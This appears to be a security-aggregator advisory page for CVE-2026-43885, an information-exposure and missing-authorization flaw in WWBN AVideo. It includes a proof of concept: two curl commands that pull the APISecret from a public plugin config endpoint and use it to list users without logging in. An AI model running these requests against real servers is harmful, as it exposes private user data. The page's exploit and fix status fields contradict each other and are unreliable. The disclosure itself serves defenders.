How severe is CVE-2026-43885?

No CVSS score has been assigned to CVE-2026-43885 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-43885?

CVE-2026-43885 affects the following packages: wwbn/avideo (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-43885?

The records we use list no patched version of wwbn/avideo for CVE-2026-43885. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

How do I detect CVE-2026-43885 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-43885 if there is no patch (or I can't update yet)?

Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Is CVE-2026-43885 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-43885 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-43885?

CVE-2026-43885 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 27th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-43885?

CVE-2026-43885 is classified as Information Exposure (CWE-200), CWE-862 (CWE-862). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-43885 published, and has it been updated?

CVE-2026-43885 was published on May 11, 2026 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-43885 — avideo

Fix: WWBN/AVideo@1c36f22

CVE-2026-43885 is a Information Exposure vulnerability in wwbn/avideo. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

WWBN AVideo: Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Also known asGHSA-xr49-f4rh-qcjf

Published

May 11, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

See advisory

Exploits

None indexed

Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43885.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

Get plugin config (contains APISecret):

curl 'http://<host>/objects/plugins.json.php'

Copy APISecret from response, then call API directly:

curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`wwbn/avideo`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of wwbn/avideo for CVE-2026-43885. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in. ### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication. ### PoC 1. Get plugin config (contains `APISecret`): ```bash curl 'http://<host>/objects/plugins.json.php' ``` <img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-

O3 Security · Impact-Aware SCA

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